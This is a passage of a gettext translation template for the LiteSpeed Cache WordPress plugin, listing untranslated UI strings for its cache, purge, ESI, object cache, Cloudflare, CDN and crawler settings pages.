msgstr ""

#: tpl/banner/score.php:116
msgid "I've already left a review"
msgstr ""

#: tpl/banner/score.php:117
msgid "Maybe later"
msgstr ""

#: tpl/banner/score.php:121
msgid "Created with ❤️ by LiteSpeed team."
msgstr ""

#: tpl/banner/score.php:122
msgid "Support forum"
msgstr ""

#: tpl/banner/score.php:122
msgid "Submit a ticket"
msgstr ""

#: tpl/banner/slack.php:20
msgid "Welcome to LiteSpeed"
msgstr ""

#: tpl/banner/slack.php:24
msgid "Want to connect with other LiteSpeed users?"
msgstr ""

#. translators: %s: Link to LiteSpeed Slack community
#: tpl/banner/slack.php:28
msgid "Join the %s community."
msgstr ""

#: tpl/banner/slack.php:40
msgid "Join Us on Slack"
msgstr ""

#: tpl/cache/entry.tpl.php:17
#: tpl/cache/settings-ttl.tpl.php:15
msgid "TTL"
msgstr ""

#: tpl/cache/entry.tpl.php:18
#: tpl/cache/entry_network.tpl.php:17
#: tpl/toolbox/entry.tpl.php:16
#: tpl/toolbox/purge.tpl.php:141
msgid "Purge"
msgstr ""

#: tpl/cache/entry.tpl.php:19
#: tpl/cache/entry_network.tpl.php:18
msgid "Excludes"
msgstr ""

#: tpl/cache/entry.tpl.php:20
msgid "ESI"
msgstr ""

#: tpl/cache/entry.tpl.php:24
#: tpl/cache/entry_network.tpl.php:19
msgid "Object"
msgstr ""

#: tpl/cache/entry.tpl.php:25
#: tpl/cache/entry_network.tpl.php:20
msgid "Browser"
msgstr ""

#: tpl/cache/entry.tpl.php:28
#: tpl/cache/entry_network.tpl.php:21
#: tpl/toolbox/settings-debug.tpl.php:117
msgid "Advanced"
msgstr ""

#: tpl/cache/entry.tpl.php:50
msgid "LiteSpeed Cache Settings"
msgstr ""

#: tpl/cache/entry_network.tpl.php:27
msgid "LiteSpeed Cache Network Cache Settings"
msgstr ""

#: tpl/cache/more_settings_tip.tpl.php:22
#: tpl/cache/settings-excludes.tpl.php:71
#: tpl/cache/settings-excludes.tpl.php:104
#: tpl/cdn/other.tpl.php:79
#: tpl/crawler/settings.tpl.php:76
#: tpl/crawler/settings.tpl.php:86
msgid "NOTE"
msgstr ""

#. translators: %s: LiteSpeed Cache menu label
#: tpl/cache/more_settings_tip.tpl.php:27
msgid "More settings available under %s menu"
msgstr ""

#: tpl/cache/network_settings-advanced.tpl.php:17
#: tpl/cache/settings-advanced.tpl.php:16
msgid "Advanced Settings"
msgstr ""

#: tpl/cache/network_settings-cache.tpl.php:17
#: tpl/cache/settings-cache.tpl.php:15
msgid "Cache Control Settings"
msgstr ""

#: tpl/cache/network_settings-cache.tpl.php:24
msgid "Network Enable Cache"
msgstr ""

#: tpl/cache/network_settings-cache.tpl.php:28
msgid "Enabling LiteSpeed Cache for WordPress here enables the cache for the network."
msgstr ""

#: tpl/cache/network_settings-cache.tpl.php:29
msgid "It is STRONGLY recommended that the compatibility with other plugins on a single/few sites is tested first."
msgstr ""

#: tpl/cache/network_settings-cache.tpl.php:30
msgid "This is to ensure compatibility prior to enabling the cache for all sites."
msgstr ""

#: tpl/cache/network_settings-excludes.tpl.php:17
#: tpl/cache/settings-excludes.tpl.php:15
msgid "Exclude Settings"
msgstr ""

#: tpl/cache/network_settings-purge.tpl.php:17
#: tpl/cache/settings-purge.tpl.php:15
msgid "Purge Settings"
msgstr ""

#: tpl/cache/settings-advanced.tpl.php:22
msgid "These settings are meant for ADVANCED USERS ONLY."
msgstr ""

#: tpl/cache/settings-advanced.tpl.php:39
msgid "Specify an AJAX action in POST/GET and the number of seconds to cache that request, separated by a space."
msgstr ""

#: tpl/cache/settings-advanced.tpl.php:57
msgid "Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities."
msgstr ""

#: tpl/cache/settings-advanced.tpl.php:71
msgid "When a visitor hovers over a page link, preload that page. This will speed up the visit to that link."
msgstr ""

#: tpl/cache/settings-advanced.tpl.php:76
msgid "This will generate extra requests to the server, which will increase server load."
msgstr ""

#: tpl/cache/settings-cache.tpl.php:28
msgid "Use Network Admin Setting"
msgstr ""

#. translators: %s: Link tags
#: tpl/cache/settings-cache.tpl.php:36
msgid "Please visit the %sInformation%s page on how to test the cache."
msgstr ""

#: tpl/cache/settings-cache.tpl.php:42
#: tpl/crawler/settings.tpl.php:113
#: tpl/crawler/settings.tpl.php:133
#: tpl/crawler/summary.tpl.php:208
#: tpl/page_optm/entry.tpl.php:42
#: tpl/toolbox/settings-debug.tpl.php:47
msgid "NOTICE"
msgstr ""

#: tpl/cache/settings-cache.tpl.php:42
msgid "When disabling the cache, all cached entries for this site will be purged."
msgstr ""

#: tpl/cache/settings-cache.tpl.php:45
msgid "The network admin setting can be overridden here."
msgstr ""

#: tpl/cache/settings-cache.tpl.php:49
msgid "With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server."
msgstr ""

#: tpl/cache/settings-cache.tpl.php:63
msgid "Privately cache frontend pages for logged-in users. (LSWS %s required)"
msgstr ""

#: tpl/cache/settings-cache.tpl.php:76
msgid "Privately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)"
msgstr ""

#: tpl/cache/settings-cache.tpl.php:89
msgid "Cache requests made by WordPress REST API calls."
msgstr ""

#: tpl/cache/settings-cache.tpl.php:102
msgid "Disabling this option may negatively affect performance."
msgstr ""

#: tpl/cache/settings-cache.tpl.php:119
msgid "URI Paths containing these strings will NOT be cached as public."
msgstr ""

#: tpl/cache/settings-cache.tpl.php:133
msgid "Paths containing these strings will be cached regardless of no-cacheable settings."
msgstr ""

#: tpl/cache/settings-cache.tpl.php:136
#: tpl/cache/settings-cache.tpl.php:161
msgid "To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI."
msgstr ""

#: tpl/cache/settings-cache.tpl.php:139
#: tpl/cache/settings-cache.tpl.php:164
msgid "For example, %1$s defines a TTL of %2$s seconds for %3$s."
msgstr ""

#: tpl/cache/settings-cache.tpl.php:158
msgid "Paths containing these strings will be forced to public cached regardless of no-cacheable settings."
msgstr ""

#: tpl/cache/settings-esi.tpl.php:15
msgid "ESI Settings"
msgstr ""

#: tpl/cache/settings-esi.tpl.php:20
msgid "With ESI (Edge Side Includes), pages may be served from cache for logged-in users."
msgstr ""

#: tpl/cache/settings-esi.tpl.php:21
msgid "ESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all."
msgstr ""

#: tpl/cache/settings-esi.tpl.php:22
msgid "WpW: Private Cache vs. Public Cache"
msgstr ""

#: tpl/cache/settings-esi.tpl.php:26
msgid "You can turn shortcodes into ESI blocks."
msgstr ""

#: tpl/cache/settings-esi.tpl.php:29
msgid "Replace %1$s with %2$s."
msgstr ""

#: tpl/cache/settings-esi.tpl.php:37
msgid "ESI sample for developers"
msgstr ""

#: tpl/cache/settings-esi.tpl.php:45
#: tpl/cdn/cf.tpl.php:100
#: tpl/crawler/summary.tpl.php:60
#: tpl/inc/check_cache_disabled.php:38
#: tpl/inc/check_if_network_disable_all.php:28
#: tpl/page_optm/settings_css.tpl.php:77
#: tpl/page_optm/settings_css.tpl.php:211
#: tpl/page_optm/settings_localization.tpl.php:21
msgid "WARNING"
msgstr ""

#: tpl/cache/settings-esi.tpl.php:46
msgid "These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN."
msgstr ""

#: tpl/cache/settings-esi.tpl.php:59
msgid "Turn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below."
msgstr ""

#: tpl/cache/settings-esi.tpl.php:72
msgid "Cache the built-in Admin Bar ESI block."
msgstr ""

#: tpl/cache/settings-esi.tpl.php:85
msgid "Cache the built-in Comment Form ESI block."
msgstr ""

#: tpl/cache/settings-esi.tpl.php:100
msgid "The list will be merged with the predefined nonces in your local data file."
msgstr ""

#: tpl/cache/settings-esi.tpl.php:101
msgid "The latest data file is"
msgstr ""

#: tpl/cache/settings-esi.tpl.php:104
#: tpl/page_optm/settings_media_exc.tpl.php:37
#: tpl/page_optm/settings_tuning.tpl.php:49
#: tpl/page_optm/settings_tuning.tpl.php:69
#: tpl/page_optm/settings_tuning.tpl.php:90
#: tpl/page_optm/settings_tuning.tpl.php:111
#: tpl/page_optm/settings_tuning.tpl.php:130
#: tpl/page_optm/settings_tuning_css.tpl.php:36
#: tpl/page_optm/settings_tuning_css.tpl.php:97
msgid "Filter %s is supported."
msgstr ""

#: tpl/cache/settings-esi.tpl.php:108
msgid "The above nonces will be converted to ESI automatically."
msgstr ""

#: tpl/cache/settings-esi.tpl.php:110
msgid "An optional second parameter may be used to specify cache control. Use a space to separate"
msgstr ""

#: tpl/cache/settings-esi.tpl.php:113
#: tpl/cache/settings-purge.tpl.php:111
#: tpl/cdn/other.tpl.php:169
msgid "Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s."
msgstr ""

#: tpl/cache/settings-esi.tpl.php:141
msgid "If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page."
msgstr ""

#: tpl/cache/settings-excludes.tpl.php:30
msgid "Paths containing these strings will not be cached."
msgstr ""

#: tpl/cache/settings-excludes.tpl.php:32
#: tpl/page_optm/settings_tuning_css.tpl.php:78
#: tpl/page_optm/settings_tuning_css.tpl.php:153
msgid "Predefined list will also be combined w/ the above settings"
msgstr ""

#: tpl/cache/settings-excludes.tpl.php:45
msgid "Query strings containing these parameters will not be cached."
msgstr ""

#: tpl/cache/settings-excludes.tpl.php:46
msgid "For example, for %1$s, %2$s and %3$s can be used here."
msgstr ""

#: tpl/cache/settings-excludes.tpl.php:66
msgid "All categories are cached by default."
msgstr ""

#. translators: %s: "cookies"
#. translators: %s: "user agents"
#: tpl/cache/settings-excludes.tpl.php:67
#: tpl/cache/settings-excludes.tpl.php:100
#: tpl/cache/settings_inc.exclude_cookies.tpl.php:27
#: tpl/cache/settings_inc.exclude_useragent.tpl.php:27
msgid "To prevent %s from being cached, enter them here."
msgstr ""

#: tpl/cache/settings-excludes.tpl.php:67
msgid "categories"
msgstr ""

#: tpl/cache/settings-excludes.tpl.php:73
msgid "If the category name is not found, the category will be removed from the list on save."
msgstr ""

#: tpl/cache/settings-excludes.tpl.php:99
msgid "All tags are cached by default."
msgstr ""

#: tpl/cache/settings-excludes.tpl.php:100
msgid "tags"
msgstr ""

#: tpl/cache/settings-excludes.tpl.php:106
msgid "If the tag slug is not found, the tag will be removed from the list on save."
msgstr ""

#: tpl/cache/settings-excludes.tpl.php:110
msgid "To exclude %1$s, insert %2$s."
msgstr ""

#: tpl/cache/settings-excludes.tpl.php:135
msgid "Selected roles will be excluded from cache."
msgstr ""

#: tpl/cache/settings-purge.tpl.php:21
msgid "All pages"
msgstr ""

#: tpl/cache/settings-purge.tpl.php:22
msgid "Front page"
msgstr ""

#: tpl/cache/settings-purge.tpl.php:23
msgid "Home page"
msgstr ""

#: tpl/cache/settings-purge.tpl.php:24
msgid "Pages"
msgstr ""

#: tpl/cache/settings-purge.tpl.php:25
msgid "All pages with Recent Posts Widget"
msgstr ""

#: tpl/cache/settings-purge.tpl.php:26
msgid "Author archive"
msgstr ""

#: tpl/cache/settings-purge.tpl.php:27
msgid "Post type archive"
msgstr ""

#: tpl/cache/settings-purge.tpl.php:28
msgid "Yearly archive"
msgstr ""

#: tpl/cache/settings-purge.tpl.php:29
msgid "Monthly archive"
msgstr ""

#: tpl/cache/settings-purge.tpl.php:30
msgid "Daily archive"
msgstr ""

#: tpl/cache/settings-purge.tpl.php:31
msgid "Term archive (include category, tag, and tax)"
msgstr ""

#: tpl/cache/settings-purge.tpl.php:50
msgid "Auto Purge Rules For Publish/Update"
msgstr ""

#: tpl/cache/settings-purge.tpl.php:53
#: tpl/cache/settings-purge.tpl.php:90
#: tpl/cache/settings-purge.tpl.php:114
#: tpl/page_optm/settings_tuning_css.tpl.php:72
#: tpl/page_optm/settings_tuning_css.tpl.php:147
msgid "Note"
msgstr ""

#: tpl/cache/settings-purge.tpl.php:55
msgid "Select \"All\" if there are dynamic widgets linked to posts on pages other than the front or home pages."
msgstr ""

#: tpl/cache/settings-purge.tpl.php:56
msgid "Other checkboxes will be ignored."
msgstr ""

#: tpl/cache/settings-purge.tpl.php:57
msgid "Select only the archive types that are currently used, the others can be left unchecked."
msgstr ""

#: tpl/cache/settings-purge.tpl.php:73
msgid "Select which pages will be automatically purged when posts are published/updated."
msgstr ""

#: tpl/cache/settings-purge.tpl.php:86
msgid "If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait."
msgstr ""

#: tpl/cache/settings-purge.tpl.php:92
msgid "By design, this option may serve stale content. Do not enable this option, if that is not OK with you."
msgstr ""

#: tpl/cache/settings-purge.tpl.php:106
msgid "The URLs here (one per line) will be purged automatically at the time set in the option \"%s\"."
msgstr ""

#: tpl/cache/settings-purge.tpl.php:107
msgid "Both %1$s and %2$s are acceptable."
msgstr ""

#: tpl/cache/settings-purge.tpl.php:116
msgid "For URLs with wildcards, there may be a delay in initiating scheduled purge."
msgstr ""

#: tpl/cache/settings-purge.tpl.php:131
msgid "Specify the time to purge the \"%s\" list."
msgstr ""

#: tpl/cache/settings-purge.tpl.php:132
msgid "Current server time is %s."
msgstr ""

#: tpl/cache/settings-purge.tpl.php:152
msgid "A Purge All will be executed when WordPress runs these hooks."
msgstr ""

#: tpl/cache/settings-ttl.tpl.php:29
msgid "Specify how long, in seconds, public pages are cached."
msgstr ""

#: tpl/cache/settings-ttl.tpl.php:44
msgid "Specify how long, in seconds, private pages are cached."
msgstr ""

#: tpl/cache/settings-ttl.tpl.php:59
msgid "Specify how long, in seconds, the front page is cached."
msgstr ""

#: tpl/cache/settings-ttl.tpl.php:74
msgid "Specify how long, in seconds, feeds are cached."
msgstr ""

#: tpl/cache/settings-ttl.tpl.php:75
#: tpl/cache/settings-ttl.tpl.php:90
msgid "If this is set to a number less than 30, feeds will not be cached."
msgstr ""

#: tpl/cache/settings-ttl.tpl.php:89
msgid "Specify how long, in seconds, REST calls are cached."
msgstr ""

#: tpl/cache/settings-ttl.tpl.php:111
msgid "Specify an HTTP status code and the number of seconds to cache that page, separated by a space."
msgstr ""

#: tpl/cache/settings_inc.browser.tpl.php:17
msgid "Browser Cache Settings"
msgstr ""

#: tpl/cache/settings_inc.browser.tpl.php:25
msgid "OpenLiteSpeed users please check this"
msgstr ""

#: tpl/cache/settings_inc.browser.tpl.php:26
msgid "Setting Up Custom Headers"
msgstr ""

#: tpl/cache/settings_inc.browser.tpl.php:41
msgid "Browser caching stores static files locally in the user's browser. Turn on this setting to reduce repeated requests for static files."
msgstr ""

#. translators: %s: Link tags
#: tpl/cache/settings_inc.browser.tpl.php:46
msgid "You can turn on browser caching in server admin too. %sLearn more about LiteSpeed browser cache settings%s."
msgstr ""

#: tpl/cache/settings_inc.browser.tpl.php:63
msgid "The amount of time, in seconds, that files will be stored in browser cache before expiring."
msgstr ""

#. translators: %s: LiteSpeed Web Server version
#: tpl/cache/settings_inc.cache_dropquery.tpl.php:27
msgid "Ignore certain query strings when caching. (LSWS %s required)"
msgstr ""

#. translators: %1$s: Example query string, %2$s: Example wildcard
#: tpl/cache/settings_inc.cache_dropquery.tpl.php:34
msgid "For example, to drop parameters beginning with %1$s, %2$s can be used here."
msgstr ""

#: tpl/cache/settings_inc.cache_mobile.tpl.php:24
msgid "Serve a separate cache copy for mobile visitors."
msgstr ""

#: tpl/cache/settings_inc.cache_mobile.tpl.php:25
msgid "Learn more about when this is needed"
msgstr ""

#: tpl/cache/settings_inc.cache_mobile.tpl.php:47
msgid "Htaccess did not match configuration option."
msgstr ""

#. translators: %s: Current mobile agents in htaccess
#: tpl/cache/settings_inc.cache_mobile.tpl.php:51
msgid "Htaccess rule is: %s"
msgstr ""

#. translators: %1$s: Cache Mobile label, %2$s: ON status, %3$s: List of Mobile User Agents label
#: tpl/cache/settings_inc.cache_mobile.tpl.php:89
msgid "If %1$s is %2$s, then %3$s must be populated!"
msgstr ""

#: tpl/cache/settings_inc.exclude_cookies.tpl.php:28
msgid "cookies"
msgstr ""

#: tpl/cache/settings_inc.exclude_useragent.tpl.php:28
msgid "user agents"
msgstr ""

#: tpl/cache/settings_inc.login_cookie.tpl.php:26
msgid "SYNTAX: alphanumeric and \"_\". No spaces and case sensitive. MUST BE UNIQUE FROM OTHER WEB APPLICATIONS."
msgstr ""

#. translators: %s: Default login cookie name
#: tpl/cache/settings_inc.login_cookie.tpl.php:32
msgid "The default login cookie is %s."
msgstr ""

#: tpl/cache/settings_inc.login_cookie.tpl.php:36
msgid "The server will determine if the user is logged in based on the existence of this cookie."
msgstr ""

#: tpl/cache/settings_inc.login_cookie.tpl.php:37
msgid "This setting is useful for those that have multiple web applications for the same domain."
msgstr ""

#: tpl/cache/settings_inc.login_cookie.tpl.php:38
msgid "If every web application uses the same cookie, the server may confuse whether a user is logged in or not."
msgstr ""

#: tpl/cache/settings_inc.login_cookie.tpl.php:39
msgid "The cookie set here will be used for this WordPress installation."
msgstr ""

#: tpl/cache/settings_inc.login_cookie.tpl.php:41
msgid "Example use case:"
msgstr ""

#. translators: %s: Example domain
#: tpl/cache/settings_inc.login_cookie.tpl.php:45
msgid "There is a WordPress installed for %s."
msgstr ""

#. translators: %s: Example subdomain
#: tpl/cache/settings_inc.login_cookie.tpl.php:53
msgid "Then another WordPress is installed (NOT MULTISITE) at %s"
msgstr ""

#: tpl/cache/settings_inc.login_cookie.tpl.php:57
msgid "The cache needs to distinguish who is logged into which WordPress site in order to cache correctly."
msgstr ""

#: tpl/cache/settings_inc.login_cookie.tpl.php:63
msgid "Invalid login cookie. Invalid characters found."
msgstr ""

#: tpl/cache/settings_inc.login_cookie.tpl.php:84
msgid "WARNING: The .htaccess login cookie and Database login cookie do not match."
msgstr ""

#: tpl/cache/settings_inc.login_cookie.tpl.php:102
msgid "SYNTAX: alphanumeric and \"_\". No spaces and case sensitive."
msgstr ""

#: tpl/cache/settings_inc.login_cookie.tpl.php:104
msgid "You can list the 3rd party vary cookies here."
msgstr ""

#: tpl/cache/settings_inc.object.tpl.php:15
msgid "Enabled"
msgstr ""

#: tpl/cache/settings_inc.object.tpl.php:16
msgid "Disabled"
msgstr ""

#: tpl/cache/settings_inc.object.tpl.php:23
msgid "Not Available"
msgstr ""

#: tpl/cache/settings_inc.object.tpl.php:25
msgid "Passed"
msgstr ""

#: tpl/cache/settings_inc.object.tpl.php:28
msgid "Failed"
msgstr ""

#: tpl/cache/settings_inc.object.tpl.php:33
msgid "Object Cache Settings"
msgstr ""

#: tpl/cache/settings_inc.object.tpl.php:47
msgid "Use external object cache functionality."
msgstr ""

#: tpl/cache/settings_inc.object.tpl.php:52
#: tpl/crawler/blacklist.tpl.php:42
#: tpl/crawler/summary.tpl.php:153
msgid "Status"
msgstr ""

#. translators: %s: Object cache name
#: tpl/cache/settings_inc.object.tpl.php:58
#: tpl/cache/settings_inc.object.tpl.php:66
msgid "%s Extension"
msgstr ""

#: tpl/cache/settings_inc.object.tpl.php:71
msgid "Connection Test"
msgstr ""

#. translators: %s: Object cache name
#: tpl/cache/settings_inc.object.tpl.php:99
msgid "Your %s Hostname or IP address."
msgstr ""

#. translators: %1$s: Socket name, %2$s: Host field title, %3$s: Example socket path
#. translators: %1$s: Socket name, %2$s: Port field title, %3$s: Port value
#: tpl/cache/settings_inc.object.tpl.php:107
#: tpl/cache/settings_inc.object.tpl.php:146
msgid "If you are using a %1$s socket, %2$s should be set to %3$s"
msgstr ""

#. translators: %1$s: Object cache name, %2$s: Port number
#: tpl/cache/settings_inc.object.tpl.php:128
#: tpl/cache/settings_inc.object.tpl.php:137
msgid "Default port for %1$s is %2$s."
msgstr ""

#: tpl/cache/settings_inc.object.tpl.php:164
msgid "Default TTL for cached objects."
msgstr ""

#. translators: %s: SASL
#: tpl/cache/settings_inc.object.tpl.php:180
msgid "Only available when %s is installed."
msgstr ""

#: tpl/cache/settings_inc.object.tpl.php:196
msgid "Specify the password used when connecting."
msgstr ""

#: tpl/cache/settings_inc.object.tpl.php:209
msgid "Database to be used"
msgstr ""

#: tpl/cache/settings_inc.object.tpl.php:222
msgid "Groups cached at the network level."
msgstr ""

#: tpl/cache/settings_inc.object.tpl.php:249
msgid "Use keep-alive connections to speed up cache operations."
msgstr ""

#: tpl/cache/settings_inc.object.tpl.php:262
msgid "Improve wp-admin speed through caching. (May encounter expired data)"
msgstr ""

#. translators: %1$s: Object Cache Admin title, %2$s: OFF status
#: tpl/cache/settings_inc.object.tpl.php:278
msgid "Save transients in database when %1$s is %2$s."
msgstr ""

#: tpl/cache/settings_inc.purge_on_upgrade.tpl.php:25
msgid "When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded."
msgstr ""

#: tpl/cdn/cf.tpl.php:17
msgid "Cloudflare Settings"
msgstr ""

#: tpl/cdn/cf.tpl.php:31
msgid "Use %s API functionality."
msgstr ""

#: tpl/cdn/cf.tpl.php:35
msgid "Global API Key / API Token"
msgstr ""

#: tpl/cdn/cf.tpl.php:38
msgid "Your API key / token is used to access %s APIs."
msgstr ""

#: tpl/cdn/cf.tpl.php:39
msgid "Get it from %s."
msgstr ""

#: tpl/cdn/cf.tpl.php:40
msgid "Recommended to generate the token from Cloudflare API token template \"WordPress\"."
msgstr ""

#: tpl/cdn/cf.tpl.php:44
msgid "Email Address"
msgstr ""

#: tpl/cdn/cf.tpl.php:47
msgid "Your Email address on %s."
msgstr ""

#: tpl/cdn/cf.tpl.php:48
msgid "Optional when API token used."
msgstr ""

#: tpl/cdn/cf.tpl.php:52
msgid "Domain"
msgstr ""

#: tpl/cdn/cf.tpl.php:59
msgid "You can just type part of the domain."
msgstr ""

#: tpl/cdn/cf.tpl.php:60
msgid "Once saved, it will be matched with the current list and completed automatically."
msgstr ""

#: tpl/cdn/cf.tpl.php:74
msgid "Clear %s cache when \"Purge All\" is run."
msgstr ""

#: tpl/cdn/cf.tpl.php:102
msgid "To enable the following functionality, turn ON Cloudflare API in CDN Settings."
msgstr ""

#: tpl/cdn/cf.tpl.php:107
msgid "Cloudflare Domain"
msgstr ""

#: tpl/cdn/cf.tpl.php:108
msgid "Cloudflare Zone"
msgstr ""

#: tpl/cdn/cf.tpl.php:111
msgid "Development Mode"
msgstr ""

#: tpl/cdn/cf.tpl.php:113
msgid "Turn ON"
msgstr ""

#: tpl/cdn/cf.tpl.php:116
msgid "Turn OFF"
msgstr ""

#: tpl/cdn/cf.tpl.php:119
msgid "Check Status"
msgstr ""

#: tpl/cdn/cf.tpl.php:129
msgid "Current status is %1$s since %2$s."
msgstr ""

#: tpl/cdn/cf.tpl.php:137
msgid "Current status is %s."
msgstr ""

#: tpl/cdn/cf.tpl.php:141
msgid "Development mode will be automatically turned off in %s."
msgstr ""

#: tpl/cdn/cf.tpl.php:149
msgid "Temporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime."
msgstr ""

#: tpl/cdn/cf.tpl.php:151
msgid "Development Mode will be turned off automatically after three hours."
msgstr ""

#: tpl/cdn/cf.tpl.php:152
msgid "%1$sLearn More%2$s"
msgstr ""

#: tpl/cdn/cf.tpl.php:156
msgid "Cloudflare Cache"
msgstr ""

#: tpl/cdn/cf.tpl.php:162
msgid "Purge Everything"
msgstr ""

#: tpl/cdn/entry.tpl.php:14
msgid "QUIC.cloud"
msgstr ""

#: tpl/cdn/entry.tpl.php:16
msgid "Other Static CDN"
msgstr ""

#: tpl/cdn/entry.tpl.php:22
msgid "LiteSpeed Cache CDN"
msgstr ""

#: tpl/cdn/other.tpl.php:28
msgid "CDN Settings"
msgstr ""

#: tpl/cdn/other.tpl.php:44
msgid "Turn this setting %s if you are using a traditional Content Delivery Network (CDN) or a subdomain for static content with QUIC.cloud CDN."
msgstr ""

#: tpl/cdn/other.tpl.php:52
msgid "NOTE: QUIC.cloud CDN and Cloudflare do not use CDN Mapping. If you are only using QUIC.cloud or Cloudflare, leave this setting %s."
msgstr ""

#: tpl/cdn/other.tpl.php:80
msgid "To randomize CDN hostname, define multiple hostnames for the same resources."
msgstr ""

#: tpl/cdn/other.tpl.php:87
msgid "Serve all image files through the CDN. This will affect all attachments, HTML %1$s tags, and CSS %2$s attributes."
msgstr ""

#: tpl/cdn/other.tpl.php:94
msgid "Serve all CSS files through the CDN. This will affect all enqueued WP CSS files."
msgstr ""

#: tpl/cdn/other.tpl.php:97
msgid "Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files."
msgstr ""

#: tpl/cdn/other.tpl.php:100
msgid "Static file type links to be replaced by CDN links."
msgstr ""

#: tpl/cdn/other.tpl.php:104
msgid "This will affect all tags containing attributes: %s."
msgstr ""

#: tpl/cdn/other.tpl.php:112
msgid "If you turn any of the above settings OFF, please remove the related file types from the %s box."
msgstr ""

#: tpl/cdn/other.tpl.php:136
msgid "Specify which HTML element attributes will be replaced with CDN Mapping."
msgstr ""

#: tpl/cdn/other.tpl.php:137
#: tpl/img_optm/settings.tpl.php:150
msgid "Only attributes listed here will be replaced."
msgstr ""

#: tpl/cdn/other.tpl.php:141
#: tpl/img_optm/settings.tpl.php:151
msgid "Use the format %1$s or %2$s (element is optional)."
msgstr ""

#: tpl/cdn/other.tpl.php:161
msgid "Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s."
msgstr ""

#: tpl/cdn/other.tpl.php:196
msgid "Only files within these directories will be pointed to the CDN."
msgstr ""

#: tpl/cdn/other.tpl.php:210
msgid "Paths containing these strings will not be served from the CDN."
msgstr ""

#: tpl/cdn/qc.tpl.php:24
#: tpl/dash/dashboard.tpl.php:885
msgid "Refresh Status"
msgstr ""

#: tpl/cdn/qc.tpl.php:27
msgid "QUIC.cloud CDN Status Overview"
msgstr ""

#: tpl/cdn/qc.tpl.php:29
msgid "Check the status of your most important settings and the health of your CDN setup here."
msgstr ""

#: tpl/cdn/qc.tpl.php:34
#: tpl/dash/dashboard.tpl.php:146
msgid "Accelerate, Optimize, Protect"
msgstr ""

#: tpl/cdn/qc.tpl.php:36
#: tpl/dash/dashboard.tpl.php:150
msgid "Speed up your WordPress site even further with <strong>QUIC.cloud Online Services and CDN</strong>."
msgstr ""

#: tpl/cdn/qc.tpl.php:38
#: tpl/general/online.tpl.php:61
#: tpl/general/online.tpl.php:145
msgid "Free monthly quota available."
msgstr ""

#: tpl/cdn/qc.tpl.php:41
#: tpl/dash/dashboard.tpl.php:158
#: tpl/general/online.tpl.php:64
#: tpl/general/online.tpl.php:119
msgid "Enable QUIC.cloud services"
msgstr ""

#: tpl/cdn/qc.tpl.php:45
#: tpl/dash/dashboard.tpl.php:166
#: tpl/general/online.tpl.php:26
msgid "QUIC.cloud provides CDN and online optimization services, and is not required. You may use many features of this plugin without QUIC.cloud."
msgstr ""

#: tpl/cdn/qc.tpl.php:46
#: tpl/dash/dashboard.tpl.php:168
msgid "Learn More about QUIC.cloud"
msgstr ""

#: tpl/cdn/qc.tpl.php:53
msgid "QUIC.cloud CDN is currently <strong>fully disabled</strong>."
msgstr ""

#: tpl/cdn/qc.tpl.php:55
msgid "QUIC.cloud CDN is <strong>not available</strong> for anonymous (unlinked) users."
msgstr ""

#: tpl/cdn/qc.tpl.php:59
msgid "Link & Enable QUIC.cloud CDN"
msgstr ""

#: tpl/cdn/qc.tpl.php:61
#: tpl/dash/dashboard.tpl.php:856
msgid "Enable QUIC.cloud CDN"
msgstr ""

#: tpl/cdn/qc.tpl.php:71
msgid "Content Delivery Network Service"
msgstr ""

#: tpl/cdn/qc.tpl.php:73
msgid "Serve your visitors fast"
msgstr ""

#: tpl/cdn/qc.tpl.php:73
msgid "no matter where they live."
msgstr ""

#. translators: %s: Link tags
#: tpl/cdn/qc.tpl.php:79
msgid "Best available WordPress performance, globally fast TTFB, easy setup, and %smore%s!"
msgstr ""

#: tpl/cdn/qc.tpl.php:96
msgid "QUIC.cloud CDN Options"
msgstr ""

#: tpl/cdn/qc.tpl.php:117
msgid "To manage your QUIC.cloud options, go to your hosting provider's portal."
msgstr ""

#: tpl/cdn/qc.tpl.php:119
msgid "To manage your QUIC.cloud options, please contact your hosting provider."
msgstr ""

#: tpl/cdn/qc.tpl.php:123
#: tpl/cdn/qc.tpl.php:143
msgid "To manage your QUIC.cloud options, go to QUIC.cloud Dashboard."
msgstr ""

#: tpl/cdn/qc.tpl.php:126
#: tpl/cdn/qc.tpl.php:133
#: tpl/dash/dashboard.tpl.php:359
#: tpl/general/online.tpl.php:153
msgid "Link to QUIC.cloud"
msgstr ""

#: tpl/cdn/qc.tpl.php:130
msgid "You are currently using services as an anonymous user. To manage your QUIC.cloud options, use the button below to create an account and link to the QUIC.cloud Dashboard."
msgstr ""

#: tpl/cdn/qc.tpl.php:139
#: tpl/cdn/qc.tpl.php:146
msgid "My QUIC.cloud Dashboard"
msgstr ""

#: tpl/crawler/blacklist.tpl.php:22
msgid "Are you sure to delete all existing blocklist items?"
msgstr ""

#: tpl/crawler/blacklist.tpl.php:23
msgid "Empty blocklist"
msgstr ""

#: tpl/crawler/blacklist.tpl.php:28
#: tpl/crawler/entry.tpl.php:16
msgid "Blocklist"
msgstr ""

#: tpl/crawler/blacklist.tpl.php:32
#: tpl/img_optm/summary.tpl.php:201
msgid "Total"
msgstr ""

#: tpl/crawler/blacklist.tpl.php:41
#: tpl/crawler/map.tpl.php:76
#: tpl/toolbox/purge.tpl.php:200
msgid "URL"
msgstr ""

#: tpl/crawler/blacklist.tpl.php:43
#: tpl/crawler/map.tpl.php:78
msgid "Operation"
msgstr ""

